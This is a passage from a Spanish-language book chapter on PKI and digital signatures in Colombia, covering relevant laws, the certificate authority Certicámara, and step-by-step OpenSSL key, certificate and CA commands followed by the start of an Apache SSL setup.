
usuarios finales

software
denominado
Safend
de
www.safend.com que valida los seriales
respectivos contra la base de datos de usuarios
autorizados en el directorio de usuarios
Administrador del servicio PKI como empresa
independiente por un ao laboral ms
prestaciones

36.000

US$3000 mensuales
US$36.000

12

Instalacin,
mantenimiento
y
mejoras
localizadas a la regin del software OpenCA
para una gestin grafica ms fcil
UPS independiente del sistema central con
capacidad de 4 KVA

2.000

24 OTP/Smart cards para contener los


certificados de cada individuo + 6 unidades de
repuesto

1.200

Cada unidad cuenta US$40 x 30


unidades = 1.200

Software para gestionar los tokens/Smart card.

1.200

El software de gestion es critico


para llevar el ciclo de vida de los
tokens

1 portatil como consola para administrar la


solucin PKI

3.000

Portatil Dell Inspiron E1505

5.0

Legislacion sobre comercio electrnico en Colombia

5.1

Resumen de leyes colombianas

Este es un resumen de las leyes expedidas en Colombia relacionadas con la regulacin sobre las PKI:
Ley 527 de agosto de 1999, define y reglamenta el acceso y uso de mensajes de datos (MD), del
comercio electrnico, firmas digitales y entidades de certificacin (EC)
Decreto 1747 de 2000, reglamenta parcialmente la Ley 527 de 1999 en lo relacionado con las Entidades
de Certificacion, los certificados y las firmas digitales. Las Entidades de Certificacion requieren de permiso
expreso de la Superintendencia de Industria y Comercio de Colombia para actuar como tal. El decreto 1747
decreta dos tipos de entidades de certificacin:

Entidad de certificacin cerrada: Para el intercambio de Mensajes de datos entre la entidad y el


suscriptor, no tiene remuneracin directa
Entidad de certificacin abierta: Su uso no se limita al intercambio de mensajes entre la entidad y el
suscriptor, la entidad certificadora recibe remuneracin por los servicios prestados

La Circular 011 de 2003, de Supervalores que exige el uso de firmas digitales certificadas para el envo de
reportes por los vigilados de esa entidad.
La Circular No. 643 de 2004, posibilitan y fijan las condiciones para la remisin de documentos de origen
notarial desde las Notaras Colombianas a las Cmaras de Comercio utilizando firmas digitales.
La Circular 011 de 2004, de Supersalud, que exige el uso de firmas digitales certificadas para el envo de
reportes de informacin financiera y general por parte de las IPS (Instituciones Prestadoras de Servicios
privadas).
La Circular 012 de 2004, de Supersalud, que exige el uso de firmas digitales certificadas para el envo de
reportes de informacin financiera y general por parte de las ESE (Empresas Sociales del Estado).

437

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

La Circular 013 de 2004, de Supersalud, que exige el uso de firmas digitales certificadas para el envo de
reportes de informacin sobre el IVA (Impuesto de valor agregado) cedido al sector Salud por parte de las
gobernaciones, secretarias de hacienda, secretarias de salud y productores de licores entre otros.
La ley 794 de 2003, que se requiri para convalidar expresamente el uso de medios electrnicos y firmas
digitales certificadas en el procedimiento civil. (En espera reglamentacin)
La circular 27 del 26 de julio de 2004 de la Superintendencia Bancaria (hoy superfinanciera) que da paso
a pruebas de comunicacin entre sus empresas vigiladas y la superintendencia utilizando firmas digitales.
La circular externa 50 de 2003 del Ministerio de Industria y Comercio, establece la posibilidad del registro
de importacin a travs de Internet. Este trmite puede hacerse de forma remota firmado digitalmente y de
ese modo reducir el trmite que se piensa racionalizar por este medio.
CERTIFICACION DIGITAL LEY 962 Ley Antitramite como: Medios tecnolgicos en la Administracin
Pblica, Derecho de Turno, Factura electrnica, Racionalizacin de la conservacin de los libros del
Comerciante, Solicitud oficiosa por parte de las entidades pblicas
Circular de Supersociedades: Dirigida a todas las sociedades mercantiles vigiladas y controladas por la
superintendencia para el envio de informacin financiera y contable a travs del sistema SIREM, el Sistema
de Informacin y Riesgo Empresarial un sistema via web que permite entregar todos los reportes e informes
por esta via con el uso de certificados digitales.
El Sistema Integrado de Informacin Financiera SIIF - NACIN, en su labor misional de centralizar e
integrar la operacin financiera en lnea de la mayor parte de las entidades que conforman el Presupuesto
General de la Nacin, y con el fin de garantizar un sistema robusto de autenticacin y gozar de garantas de
autenticidad, no repudiacin e integridad, ha incorporado a sus transacciones y reportes el uso de la Firma
Digital que ofrece un esquema de seguridad tecnolgica y jurdica a las transacciones realizadas por las
diferentes entidades dentro del sistema SIIF NACION. En la actualidad ya mas de 145 entidades del estado
firman las transacciones del presupuesto general de la nacin.
RESOLUSIONES DIAN: las resoluciones que hoy da - hacen posible la utilizacin de firmas digitales y/o
electrnicas respaldadas con certificacin digital, en la presentacin de informacin tributaria por parte de
diversos contribuyentes. Permiten el uso de firma electrnica con certificacin digital para ciertos grupos de
usuarios delimitados por las siguientes resoluciones

Resolucin No 10141 (28 Oct. 2005) Art. 10: Entidades vigiladas por la Superintendencia Bancaria
Resolucin No 10142 (28 Oct. 2005) Art. 6: artculo 624 del Estatuto Tributario, que debe ser
presentada por las Cmaras de Comercio
Resolucin No 10143 (28 Oct. 2005) Art. 5 :Bolsas de valores y por los Comisionistas de Bolsa
Resolucin No 10144 (28 Oct. 2005) Art. 4: por la Registradura Nacional del Estado Civil
Resolucin No 10145 (28 Oct. 2005) Art. 5: por los Notarios
Resolucin No 10146 (28 Oct. 2005) Art. 4: por las personas o entidades que elaboren facturas o
documentos equivalentes.
Resolucin No 10147 (28 Oct. 2005) Art. 19: grupo de personas naturales, personas jurdicas y
dems entidades
Resolucin No 10148 (28 Oct. 2005) Art. 6: por los Grupos Econmicos y/o Empresariales
Resolucin No 10149 (28 Oct. 2005) Art. 3: suministrar mensualmente las entidades pblicas o
privadas que celebren convenios de cooperacin y asistencia tcnica para el apoyo y ejecucin de
sus programas o proyectos, con organismos internacionales

Prximamente se establecer las comunicaciones oficiales pertinentes para el registro sanitario en lnea del
INVIMA, la presentacin de reportes e informes de los vigilados de la Superintendencia Solidaria, SEC
Sistema Estadstico Cambiario del Banco de la Repblica.
Consejo Superior de la Judicatura ACUERDO No. PSAA06-3334 DE 2006 (marzo 2) Por el cual se
reglamentan la utilizacin de medios electrnicos e informticos en el cumplimiento de las funciones de
administracin de justicia LA SALA ADMINISTRATIVA DEL CONSEJO SUPERIOR DE LA JUDICATURA

438

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

5.2

Ques es Certicamara?

Nota: El autor en forma expresa agradece a Marcela Bello, directora comercial de Certicamara por los
excelentes aportes realizados para este articulo sobre PKI (marcela.bello@certicamara.com)
Certicmara S.A, es una empresa filial de las Cmaras de Comercio y Confecmaras, fue creada en el ao de
2001 y es la nica entidad de certificacin digital abierta en el pas, autorizada y vigilada por la
Superintendencia de Industria y Comercio. Certicamara es el tercero de confianza que garantiza la seguridad
jurdica y tecnolgica a las transacciones, comunicaciones, aplicaciones y en general a todo proceso de
administracin de la informacin digital.
Certicamara cumple con los ms altos estndares internacionales exigidos por el American Institute of
Certified Public Accountants (AICPA) y el Canadian Institute of Chartered Accountants (CISA), es auditada
por la firma internacional Deloitte y obtuvo el sello WEB TRUST que los califica como una entidad de
certificacin digital de clase mundial, as como el reconocimiento de Microsoft a sus productos y servicios a
nivel mundial.

Productos y Servicios prestados por certicamara:


Certicamara, cuenta con un portafolio integrado de productos y servicios que permiten satisfacer las
diferentes necesidades de seguridad jurdica y tecnolgica que surgen a partir de los procesos de
administracin de la informacin digital:
CERTIFICADOS DIGITALES DE FIRMA

CERTIFICADO
CERTIFICADO
CERTIFICADO
CERTIFICADO
CERTIFICADO
CERTIFICADO

PARA REPRESENTANTE LEGAL


DE PERTENENCIA EMPRESA
DE FUNCIONARIO PBLICO
DE PROFESIONAL TITULADO
DE PERSONA NATURAL
DE FIRMA DE COMPONENTES DE SOFTWARE (FIRMA DE CDIGO)

CERTIFICADOS PARA SEGURIDAD EN REDES

CERTIFICADO DE SERVIDOR SEGURO (Certificado SSL) para el aseguramiento de sitios y


aplicaciones Web
CERTIFICADO DE VPN para el aseguramiento de redes privadas virtuales
CERTIFICADO DE SERVIDOR SEGURO CON FIRMA AUTOMATIZADA para el aseguramiento de
aplicaciones que requieren la autenticacin e integridad de mensajes de datos

SOLUCIONES DE CERTIFICACIN
SISTEMA ADMINISTRADOR DE FIRMAS DIGITALES (SAFD)
Es un aplicativo que permite la gestin: recepcin, verificacin, clasificacin, archivo y consulta de grandes
volmenes de documentos firmados digitalmente.
ESTAMPADO CRONOLGICO
El estampado cronolgico es un servicio mediante el cual se puede garantizar la existencia de un documento
(o mensaje de datos en general) en un determinado instante de tiempo. Mediante la emisin de una
estampa de tiempo es posible garantizar el instante de creacin, modificacin, recepcin, etc., de un

439

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

determinado mensaje de datos impidiendo su posterior alteracin, haciendo uso de la hora legal colombiana
suministrada por la Superintendencia de Industria y Comercio.
Las soluciones de Certificacin Digital ofrecidas por Certicmara brindan garantas de seguridad jurdica
y tcnica basadas en la aplicacin de la tecnologa PKI, dentro del marco legal y tcnico para el uso de
firmas y certificados digitales en el envi, recepcin, archivo y procesamiento de mensajes de datos a partir
de la Ley 527 de 1999, conocida como Ley de Comercio Electrnico y su decreto reglamentario 1747 de
2000, as como la Circular Unica nmero 10 de la Superintendencia de Industria y Comercio.
En la actualidad entidades financieras, estatales y privadas han implementado soluciones de certificacin
digital y habilitando el uso de firmas digitales al interior de sus sistemas y procedimientos, incorporando
estrategias de seguridad jurdica y tecnolgica en la administracin de la informacin digital.
Estos son algunas organizaciones que ya cuentan con certificados pblicos emitidos por la entidad
certificadora Colombiana:
Superintendencia Financiera , Superintendencia de Sociedades, Superintendencia Nacional de Salud,
Ministerio de Hacienda y Crdito Publico - SIIF Nacin, Programa de las Naciones Unidas PNUD, Instituto
Nacional de Vas INVIAS, Procuradura General de la Nacin Sistema SIRI, Aeronutica Civil, Ministerio
de Comercio, Industria y Turismo Ventanilla nica de Comercio Exterior (VUCE), Instituto Nacional de
Vigilancia de Medicamentos y Alimentos - INVIMA - Registro Sanitario en lnea, Wackenhut, Corporacin
financiera Colombiana - Corficolombiana , Cmaras de Comercio y Confecmaras Registro nico
Empresarial (RUE), ACH Colombia S.A. Botn nico de Pagos (PSE) y Giros y Finanzas S.A.
En la actualidad Certicmara cuenta con un volumen importante de suscriptores, entre los cuales figuran:
Representantes Legales, Suplentes de Representante Legal, Revisores Fiscales, Contadores, Coordinadores
de Recaudo, Oficiales de Cumplimiento, Directores Jurdicos, Coordinadores Logsticos y Tesoreros, entre
otros.
La mayora de portales Web colombianos han incorporado Certificados Digitales de Servidor
Seguro para brindar a sus usuarios seguridad en sus transacciones. Igualmente todos los comercios y
entidades financieras que hacen parte de la red del Proveedor de Servicios Electrnicos (PSE) de ACH
Colombia, incorporan certificados digitales de Certicmara al sistema de pagos electrnicos seguros.

440

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

6.0

Conclusiones de PKI

En general las soluciones PKI siguen siendo costosas por la poca demanda de certificados digitales, se
espera que al aumentar la demanda de certificados digitales, por fuerza natural aumente la oferta, es
decir aumente el numero de proveedores CA locales
Una forma de disminuirlos es combinar las PKI pblicas con las PKI cerradas donde las empresas solo
compren un certificado a la CA raz y en forma cerrada ese certificado garantice que los certificados que
emita la entidad cerrada sean validos cuando los clientes lo usen contra la entidad cerrada para sus
transacciones comerciales. Un ejemplo seria un banco o entidad financiera que acta como entidad
cerrada y genera los certificados digitales a sus clientes con el objeto de que estos interacten con el
banco en forma segura pero avalada por la CA raz local.
Es de mal gusto ver un mensaje en el explorador del usuario final indicando que el certificado digital no
es confiable al no estar avalado por una CA raz en la memoria cache del explorador pues indica que
debemos desconfiar de la transaccin.
En general se puede concluir que se requieren conocer muchas temticas variadas como openssl,
openldap, apache, Linux, tokens, smart cards y lenguajes de programacin que deben ser integrados
para que la solucin sea funcional y segura. Esto hace que las PKI no sean fciles de integrar a las
aplicaciones
Falta aun que las aplicaciones hagan uso de los API que permiten PKI entre aplicaciones.
Se han desarrollado programas en PHP sobre Apache y Linux para manejar un directorio de usuarios
basados en OpenLDAP (single Sign On) y para este proyecto se ha preferido mejorar OpenCA o
integrarse a su API para generar las consultas y reportes que pasen datos al sistema de gestin de
seguridad de la informacin.
Se disminuyen costos de adquisicin de las herramientas licenciadas

7.

Implementacion de SSL con OpenSSL

OpenSSL es la implementacin GNU de SSL.


Para ver la versin del mdulo OpenSSL digite:
# rpm qi openssl
Para borrar la versin en formato RPM que viene con el sistema use el comando:
# rpm -e openssl --nodeps
El proyecto OpenSSL es un proyecto OpenSource que implementa los protocolos Secure Sockets Layer (SSL
v2/v3) y Transport Layer Security (TLS v1).
OpenSSL est basado en el excelente trabajo de libreras SSLeay desarrollado por Eric A. Young y Tim
J.Hudson

8.

Instalacion de OpenSSL

El sitio principal de OpenSSL es www.openssl.org, se descarga la ltima versin y se instala con las
siguientes lneas de comandos:
# tar xjvmf openssl-*.tar.bz2
# cd openssl*
#./config shared -fPIC

441

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

# make
# make test
# make install
Es importante anotar que por defecto estos programas se instalan en la carpeta /usr/local/ssl y los binarios
estarn en /usr/local/ssl/bin.
El archivo/fichero de configuracin global openssl.cnf reside en la carpeta: /usr/local/ssl/openssl.cnf
Nota Importante:
Hay que modificar la variable PATH del usuario para que el binario de openssl sea buscado en la carpeta
/usr/local/ssl/bin asi:
# PATH=/usr/local/ssl/bin:$PATH
Para compilar software como apache u openldap se recomienda crear la carpeta /usr/local/ssl/lib como link
simbolico de /usr/local/ssl/lib64
Observe que no existe la carpeta lib64
# cd /usr/local/ssl
# ln s lib lib64
No olvide adicionar al archivo/fichero /etc/ld.so.conf el directorio de las nuevas libreras de ssl que seria
/usr/local/ssl/lib
Luego compile con:
# ldconfig -v

9.

Criptografia de llaves simtricas: Misma clave para cifrar y descifrar

Openssl puede usarse por defecto como una implementacin de claves simetricas, es decir se puede usar
para cifrar y descifrar textos con una clave conocida por receptor (R) y emisor (E).
Para cifrar con el algoritmo simetrico DES se debe usar el siguiente comando:
# openssl enc -des salt base64 k clave in texto.txt out texto.txt.des
Para descifrar se debe usar el siguiente comando:
# openssl des d base64 k clave in texto.txt.des out texto.txt
El parametro des se puede cambiar por cualquiera de los algoritmos simetricos que soporta openssl por
ejemplo AES de 256 bits, 3DES o el defecto que es base64.
Para cifrar con el algoritmo simetrico AES de se debe usar el siguiente comando:
# openssl enc -aes-256-cbc salt base64 k clave in texto.txt out texto.txt.aes
Para descifrar con el algoritmo simetrico AES se debe usar el siguiente comando:
# openssl aes-256-cbc d base64 k clave in texto.txt.aes out texto.txt
Para cifrar con el algoritmo base64 de se debe usar el siguiente comando:
# openssl enc -base64 salt k clave in texto.txt out texto.txt.base64

442

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Para descifrar con el algoritmo simetrico base64 se debe usar el siguiente comando:
# openssl base64 -d k clave in texto.txt.base64 out texto.txt
La clave simetrica tambin se puede pasar como un archivo, para ello no se utiliza la opcin k, en cambio
se debe usar la opcin pass file:archivo.ssl
Para no generar una salida en formato binario se puede usar la opcin base64

10. Criptografia de llaves asimtricas: Generacin de llaves privadas y pblicas


Para generar una llave privada de 2048 bits hacia el archivo mva.key, digite:
# openssl genrsa out mva.key 2048
En apache 2.0 generalmente la llave privada reside en /usr/local/apache2/conf/server.key
Para generar un requerimiento para compra de certificado digital ante una entidad certificadora usando una
llave privada existente digite:
# openssl req new key mva.key out mva.csr days 360
Para generar una llave de requerimiento y en el mismo paso la llave privada digite:
# openssl req new keyout mva.key out mva.csr days 360
En este caso no se puede cambiar el tamanio de la llave como un parametro del comando, el defecto de la
llave privada es 1024 bits.
Para firmar la llave anterior donde el servidor sea la entidad certificadora
# openssl req x509 key mva.key in mva.csr out mva.crt
En apache 2.0 generalmente la llave pblica reside en /usr/local/apache2/conf/server.crt

Para generar las llaves privada con el default de 1024 bits y generar la llave pblica de la Entidad
Certificadora (CA) en un solo paso digite:
# openssl req new x509 keyout cakey.pem out cacert.pem days 365 outform PEM
Notas:

Se debe observar que las extensiones deben ser .pem pues esta extensin es la estndar esperada
por el parmetro outform PEM.
La opcin keyout cakey.pem indica generar la llave privada.
Se recomienda estar posicionado en el directorio /usr/local/ssl.

Para generar las llaves privada con un tamanio de 2048 diferente al default de 1024 bits y generar la llave
pblica de la Entidad Certificadora (CA) en un solo paso digite:
# openssl req newkey rsa:2048 x509 keyout cakey.pem out cacert.pem days 1500 outform PEM
Notas:

Se debe observar que las extensiones deben ser .pem pues esta extensin es la estndar esperada
por el parmetro outform PEM.
La opcin keyout cakey.pem indica el archivo/fichero donde se generar la llave privada.
La opcin newkey rsa:2048 indica el tamanio diferente al defecto de 2048.

443

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Se recomienda estar posicionado en el directorio /usr/local/ssl.

Ahora la entidad CA debe generar un directorio para firmar requerimientos de llaves pblicas, por ejemplo:
# mkdir p /usr/local/ssl/demoCA/private
# mkdir p /usr/local/ssl/demoCA/newcerts
Copie la llave privada cakey.pem al directorio de llaves privadas:
# cp cakey.pem /usr/local/ssl/demoCA/private

Copie la llave pblica cacert.pem al directorio de llaves pblicas de la CA:


# cp cacert.pem /usr/local/demoCA

Genere el archivo index.txt que contendr una lista de los certificados pblicos generados:
# touch /usr/local/ssl/demoCA/index.txt

Genere el archivo de nombre serial que contendr el consecutivo de certificados pblicos generados, debe
iniciar en ceros:
# echo 00 > /usr/local/ssl/demoCA/serial

Para firmar requerimientos como una CA


# openssl ca policy policy_anything out mva.crt infiles mva.csr

Para mirar un certificado x509 o llave pblica digite:


# openssl x509 noout text in mva.crt

Para ver informacin de un certificado expedido por una entidad certificadora digite:
# openssl x509 noout subject in mva.crt
Para mirar una llave privada
# openssl rsa noout text in mva.key
Para mirar una llave de requerimiento de certificado
# openssl req noout text in mva.csr

Los formatos de los archivos pueden ser:


PEM: Privacy Enhanced Mail
DER: Distinguised Encoded Rules
CER: Canonical Encoded Rules
PKCS: Publick Key Criptography Standard

444

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Los certificados digitales son ideales para cifrar las claves secretas no para cifrar archivos grandes pues
consumiran demasiado tiempo de CPU y espacio en disco duro que haran ineficiente el uso de las llaves
digitales:

Cifrado de archivos/ficheros pequenios con certificados digitales


Para cifrar archivos pequeos que contengan un texto de clave simetrica se debe usar el siguiente comando:
# openssl rsautl encrypt inkey llavepblica.pem certin in archivo.txt out salida.ssl -hexdump
Para descifrar archivos que se hayan cifrado con claves pblicas se debe usar la siguiente herramienta que
incluye la llave privada relacionada con la clave pblica con la que se cifr el texto:
# openssl rsautl decrypt inkey llaveprivada.pem in archivo.ssl out salida.txt
Nota: No se debe usar el cifrado asimetrico para archivos mayors a 56 bytes.

Extensiones de un certificado digital


La extensin nos indica para que se utilizar el certificado, es decir el propsito del certificado digital, por
ejemplo para firma digital, no repudio, cifrado y descifrado de claves, cifrado y descifrado de datos, firma de
claves, firma de listas de revocacin, o autorizar nicamente el difrado o el descifrado:
Ejemplos:
keyUsage=digitalSignature, nonRepudiation
keyUsage=critical, keyCertSign

O podran aparecer todos en una sola lnea:


keyUsage=critical, digitalSignature, nonrepudiation, keyCertSign
La extensin extendida nos indica el uso mas granular en el que se utilizar el certificado, por ejemplo para
que un servidor autentique su identidad ante un cliente, o para que un cliente autentique su identidad ante
un servidor, o para firmar correos o para firmar cdigo de programas que proceden de fuentes confiables.
Valor
----serverAuth
clientAuth
codeSigning
emailProtection
timeStamping
msCodeInd
msCodeCom
msCTLSign
msSGC
msEFS
nsSGC

Significado
------SSL/TLS Web Server Authentication.
SSL/TLS Web Client Authentication.
Code signing.
E-mail Protection (S/MIME).
Trusted Timestamping
Microsoft Individual Code Signing (authenticode)
Microsoft Commercial Code Signing (authenticode)
Microsoft Trust List Signing
Microsoft Server Gated Crypto
Microsoft Encrypted File System
Netscape Server Gated Crypto

Ejemplos:
Para firmado de cdigo proveniente de fuentes seguras: extendedKeyUsage=critical,codeSigning,1.2.3.4

445

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

1.2.3.4 es la nomenclatura numerica de un ejemplo generico de uso.

Para el sistema de cifrado de archivos Microsoft (1.3.6.1.4.1.311.10.3.4):extendedKeyUsage=1.3.6.1.4.1.311.10.3.4


Se debe notar que 1.3.6.1.4.1.311.10.3.4 indica el sistema de cifrado de archivos Microsoft.
Para ver un certificado digital creado nicamente para cifrar archivos en Microsoft Windows:

# openssl x509 -noout -text -in ArmandoCarvajal.cer


Certificate:
Data:
Version: 3 (0x2)
Serial Number:
1b:d6:1b:34:9a:21:15:92:42:02:ea:62:b3:f6:d3:ac
Signature Algorithm: sha1WithRSAEncryption
Issuer: CN=ArmandoCarvajal
Validity
Not Before: Dec 24 23:09:31 2011 GMT
Not After : Nov 30 23:09:31 2111 GMT
Subject: CN=ArmandoCarvajal
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:9f:f7:9f:28:89:93:e4:37:d2:b4:00:24:a1:26:
dc:51:c9:6b:be:9d:43:f6:c7:cd:2b:cf:31:1d:98:
56:9b:bc:ee:69:76:45:0d:75:5c:c9:a6:b0:db:99:
1c:99:3f:de:82:cb:66:37:42:db:7e:6f:82:0a:9f:
68:f7:1c:f5:2b:bd:02:34:46:f1:aa:53:75:4f:f3:
cc:15:be:fd:a5:c7:63:18:e6:ab:f2:cd:64:33:af:
e2:b0:b7:de:81:52:43:3c:5a:6b:31:d8:d2:ad:71:
1f:73:b7:5a:b3:a3:93:79:35:e6:a0:c1:ee:22:db:
d9:eb:3a:fc:0d:7d:7d:53:96:09:dd:3a:58:82:77:
d9:1d:03:aa:33:48:df:4d:57:d3:36:66:ab:ff:eb:
04:f7:b7:72:b9:71:75:60:68:0b:90:47:45:f4:64:
ee:d6:3a:60:99:52:20:20:9c:d8:97:1b:8a:86:41:
56:7e:36:f3:33:15:cd:ab:5e:19:90:93:67:c1:bd:
3c:d9:08:52:37:41:ed:40:87:88:78:fb:92:bf:cd:
9e:43:e6:7a:7d:41:90:1f:65:b5:4b:ae:01:e8:44:
05:cf:5a:fe:67:dc:18:39:ff:f3:4e:a8:90:c8:2a:
14:e5:45:9e:89:10:67:a6:99:54:eb:fb:4d:16:7c:
ff:65
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Extended Key Usage:
Microsoft Encrypted File System
X509v3 Subject Alternative Name:
othername:<unsupported>
X509v3 Basic Constraints:
CA:FALSE
Signature Algorithm: sha1WithRSAEncryption
78:8f:22:7b:55:7f:50:6c:90:93:54:72:16:7f:4a:0e:07:80:
54:94:79:af:40:51:8e:30:be:d2:fc:0d:6f:db:7a:9c:5e:4b:
21:62:20:c4:54:f9:bf:f1:93:0d:01:81:6b:4d:19:34:19:5c:
4c:b5:94:6f:12:7c:d6:b4:93:cc:3a:cf:f5:f5:d3:35:56:66:
23:e1:4b:48:45:a7:9c:6a:1b:2d:03:bf:cf:d8:3c:ac:0e:9d:
84:bf:5a:ee:fd:db:d9:36:d8:47:c3:3a:02:aa:50:7e:2a:3c:

446

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

f2:61:d4:80:24:62:03:4d:60:2a:b8:5b:c4:a8:29:39:66:aa:
20:69:dc:f5:d4:76:bc:3e:e0:cd:23:a2:d0:09:61:73:9c:eb:
94:9c:29:83:3d:57:71:22:47:c2:42:ef:5d:f4:94:62:01:8f:
3e:88:dc:cd:bc:37:ae:62:fa:7e:fd:a0:fd:d9:ad:fc:71:d6:
59:e3:b7:35:fb:ff:31:df:b8:a3:30:31:03:17:4e:09:4b:6d:
2b:ac:ae:7f:13:3e:08:35:4e:98:4a:c4:74:52:c1:bc:d8:95:
ca:6f:4f:62:25:0a:ea:f9:06:f3:5e:43:85:26:35:ec:39:85:
ce:6a:44:fb:af:dd:c4:5c:b2:ac:fe:28:e4:4e:85:cf:2f:51:
c0:db:df:af
As se vera el archivo de configuracin openssl.cnf en secciones para ser usado por la herramienta openssl:
Para crear tuneles:
[ stunnel ]
basicConstraints=critical,CA:FALSE
extendedKeyUsage=serverAuth

Para autenticar un cliente:


[ proteccion_de_cliente ]
basicConstraints=critical,CA:FALSE
nsCertType = client
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage=clientAuth

Para cifrado y descrifrado de correos electrnicos:


[ proteccion_de_correo ]
basicConstraints=critical,CA:FALSE
nsCertType = client,email
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage=emailProtection

Para todos los propsitos que pueda tener un certificado digital:


[ proteccion_de_todo ]
basicConstraints=critical,CA:FALSE
nsCertType = client,email,server
keyUsage = nonRepudiation, digitalSignature, keyEncipherment, keyCertSign
extendedKeyUsage=emailProtection, serverAuth, clientAuth, codeSigning, timeStamping, msCodeInd,
msCodeCom, msCTLSign, msSGC, msEFS, nsSGC

Para ver un certificado digital creado nicamente para cifrar archivos en Microsoft Windows:
# openssl x509 -noout -text -in cliente_correo-cert.pem
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=CO, ST=Cundinamarca, L=Bogota, O=CA, OU=Sistemas, CN=localhost
Validity
Not Before: Dec 24 17:23:56 2011 GMT

447

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Not After : Sep 10 17:23:56 2031 GMT


Subject: C=CO, ST=Cundinamarca, L=Bogota, O=Globaltek Security S.A, OU=Seguridad de la
Informacion, CN=ArmandoCarvajal/emailAddress=armando.carvajal@globalteksecurity.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:c4:cf:a2:4e:02:dd:15:eb:88:df:a2:61:9e:6e:
5a:c3:71:d0:50:9f:ae:70:42:1e:28:b4:fd:cb:85:
4c:f0:09:fd:e5:0e:2e:be:4b:98:64:73:f6:46:4e:
18:32:9a:78:07:a4:01:3d:7b:23:2a:29:b3:ea:54:
51:b8:13:8c:3e:c8:69:b7:bc:11:7d:eb:63:cf:03:
59:cd:50:c2:49:6d:20:1f:4b:88:73:fd:4c:13:21:
0d:16:75:43:5b:92:6b:d7:02:8a:02:97:34:ca:f4:
fb:12:40:e4:73:d9:30:e3:c2:c7:f7:f8:d0:e1:7a:
8d:2c:68:14:b7:e8:01:40:03:e3:bd:42:e6:3d:64:
72:e2:e5:c6:f5:0c:19:77:bc:fc:6a:6f:33:30:fb:
a7:e9:d4:b6:0b:d4:20:0e:cd:13:7c:57:89:4f:4c:
3f:8e:d5:fe:42:04:20:ae:07:6e:8d:11:b6:7e:71:
d7:ac:c0:fd:7d:9a:4d:53:b3:7c:f4:04:a5:c8:66:
5c:78:23:ad:f9:8d:50:16:03:3c:70:19:f6:ed:99:
cc:fa:5c:9b:f3:a4:a2:19:01:cc:36:d3:63:1f:d0:
07:be:fb:30:4e:bd:d1:e5:16:c8:c5:e8:3a:72:34:
90:40:2a:3a:d1:3a:cc:00:d3:6b:4f:9a:d5:f0:1c:
61:91
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:FALSE
Netscape Cert Type:
SSL Client, SSL Server, S/MIME
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key Encipherment, Certificate Sign
X509v3 Extended Key Usage:
E-mail Protection, TLS Web Server Authentication, TLS Web Client Authentication, Code Signing,
Time Stamping, Microsoft Individual Code Signing, Microsoft Commercial Code Signing, Microsoft Trust List
Signing, Microsoft Server Gated Crypto, Microsoft Encrypted File System, Netscape Server Gated Crypto
Signature Algorithm: sha1WithRSAEncryption
b8:a2:d6:3b:64:e4:12:c3:69:ad:6e:72:1a:1d:0e:cb:07:64:
8e:76:c1:3c:23:b4:79:38:11:db:70:01:f0:82:f9:e7:92:57:
8a:60:49:be:87:9e:6e:5b:73:4e:f6:26:0f:94:e3:37:ca:b0:
02:07:5c:4b:6b:3f:ee:0c:85:80:05:35:5d:f0:a7:30:6e:2d:
3b:94:3d:09:c6:9a:59:8f:f2:47:be:e2:f8:cd:31:78:3e:02:
95:a2:f3:1a:70:4e:f6:0b:55:ed:79:44:2a:c0:be:8f:c5:4a:
b8:ae:bb:42:ad:43:92:f2:5c:b8:4f:24:4d:e6:01:04:20:af:
c2:2b:35:3e:fb:f3:22:aa:6b:86:c2:38:0d:97:9b:b2:1b:95:
29:b2:83:53:11:51:a2:d3:c4:e7:e7:9f:62:31:ab:33:7d:e0:
03:5f:6f:4a:50:c9:3b:96:45:93:83:b1:d5:c6:3f:a4:2d:e1:
d4:c5:b4:22:a1:a9:11:c4:6b:7f:fd:b8:ea:63:2d:82:0a:92:
06:cb:ce:66:6e:df:04:81:b2:7e:74:90:99:89:27:4b:d3:31:
43:dc:37:59:70:1f:94:46:c8:83:85:a4:22:a0:b8:ae:7b:e0:
86:5b:56:e1:57:31:36:33:c6:a0:3a:d6:ce:10:b3:e8:3d:00:
ee:19:fa:6b

11.

Activacin de SSL en Apache

Para obtener una versin


http://www.apache.org.

ms

actualizada

de

Apache

448

debe

copiarse

la

ltima

versin

desde

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

La versin 2.x, se debe instalar con los siguientes comandos para soportar SSL
# tar xvzf httpd*.tar.gz
# cd httpd*
#./configure
# make
# make install

--enable-module=so

--enable-ssl

Generalmente se instalar en /usr/local/apache2 pero esto se puede cambiar con el parmetro:


--prefix=/directorio/deseado.
Ahora edite el archivo /usr/local/apache2/conf/httpd.conf y revise que existan los siguientes parmetros:
Listen 443
AddType application/x-x509-ca-cert .crt
AddType application/x-pkcs7-crl .crl
SSLPassPhraseDialog builtin
SSLSessionCache
dbm:/usr/local/apache2/logs/ssl_scache
SSLSessionCacheTimeout 300
SSLMutex file:/usr/local/apache2/logs/ssl_mutex
SSLRandomSeed startup builtin
SSLRandomSeed connect builtin
<VirtualHost _default_:443>
DocumentRoot "/usr/local/apache2/htdocs"
ServerName localhost:443
ServerAdmin root@localhost
ErrorLog /usr/local/apache2/logs/error_log
TransferLog /usr/local/apache2/logs/access_log
SSLEngine on
